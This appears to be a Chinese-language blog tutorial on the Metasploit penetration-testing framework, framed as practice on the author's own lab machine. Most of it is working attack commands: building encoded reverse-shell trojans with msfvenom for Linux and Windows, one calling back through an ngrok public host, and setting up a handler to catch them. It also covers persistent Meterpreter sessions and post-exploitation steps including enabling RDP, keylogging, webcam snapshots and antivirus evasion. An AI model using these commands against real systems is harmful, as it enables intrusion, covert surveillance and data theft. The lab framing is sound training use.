Metasploit

开源渗透测试框架,世界上使用最广泛的渗透测试工具。

基础结构

  • /usr/share/metasploit-framework/lib/rex 处理核心功能(socket连接、界面ui、加密等)
  • /usr/share/metasploit-framework/lib/msf/core 核心库,为模块提供api接口服务
  • /usr/share/metasploit-framework/plugins 第三方插件
  • /usr/share/metasploit-framework/config 配置文件内容
  • /usr/share/metasploit-framework/scripts 脚本目录
  • /usr/share/metasploit-framework/tools 框架自带的工具
  • /usr/share/metasploit-framework/modules/ 包含框架中所有模块
    • Auxiliary 辅助模块
    • Encoders 编码模块 (编译 payload)
    • Evasion 规避模块(绕过杀毒软件)
    • Exploits 漏洞利用模块
    • Nops 空指令 (使目标主机缓冲区溢出)
    • Payloads 攻击载荷
    • Post 后渗透模块
msfconsole

在这里插入图片描述

木马生成

  1. 查看所有可用的 payload
msfvenom -l payloads
msfvenom -l payloads | grep windows
msfvenom -l payloads | grep linux
  1. 生成指定系统的木马
  • 查看我用于学习的靶机信息,是一台 64 位的 linux
uname -a
> Linux iZm5e6knj5h0f3rmg5lqyiZ 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
  • 查找可用的 payload
msfvenom -l payloads | grep linux/x64

在这里插入图片描述

  • 选择使用 linux/x64/meterpreter/reverse_tcp
  • 查看所有可用使用的编码(绕过杀毒软件)
msfvenom -l encoders | grep x64

在这里插入图片描述

  • 选择 x64/xor ,使用如下命令生成木马
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=你的Kali_IP LPORT=4444 -f elf -o shell.elf
  • 其中,kali ip 通过 ip a 命令查看
  • 查看生成的文件
    在这里插入图片描述
  1. 将木马发送到目标系统
    因为我们这个是自己测试用的,所以直接传上去就行了
scp shell.elf root@靶机ip地址:/root/
  1. 在 msf 中开启监听
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 本机IP地址
run # 开启监听(exploit)
  1. 在靶机中运行收到的木马文件
chmod +x shell.elf
./shell.elf

在这里插入图片描述
6. 修改 Meterpreter 会话设置

background # 切换到后台运行
set SessionCommunicationTimeout 0 # 防止会话超时被杀死
set SessionExpirationTimeout 0 # 会话永不关闭
sessions sessions id # 回到指定会话
  1. 其他常用命令
use -l # 查看所有可用扩展
use xx # 使用指定扩展

开启目标主机远程桌面服务

background
use post/windows/manage/enable_rdp
set password 密码
set username 用户名
set session session值
rdesktop 目标主机IP地址

目录文件

download 文件名
upload 文件名
cat 要查看的文件

端口转发

portfwd add -l本地端口 -r目标主机IP地址 -p远程主机端口

外接设备

keyscan_start
webcam_list
webcam_snap 摄像头ID

免杀规避模块

show evasion

扫描并利用目标主机漏洞

本身不具备漏洞扫描能力,可以通过使用第三方插件执行漏洞扫描

生成外网木马文件

  • Metasploit在漏洞利用成功后都会获取一个shell
  • 该 shell 是 目标主机 向 本机 的反向连接
  • 若未将 Metasploit 部署在公网上,可以选择正向连接
  1. 过滤正向连接 payload
msfvenom -l payloads | grep bind
  1. 使用内网穿透工具
  • 如:Ngrok
./ngrok authtoken Authtoken # 生成凭证
./ngrok tcp 穿透端口 # 查看公网地址
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 LHOST=8.tcp.ngrok.io LPORT=18589 -f exe > /root/muma.exe
msfconsle
set lhost 127.0.0.1
Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐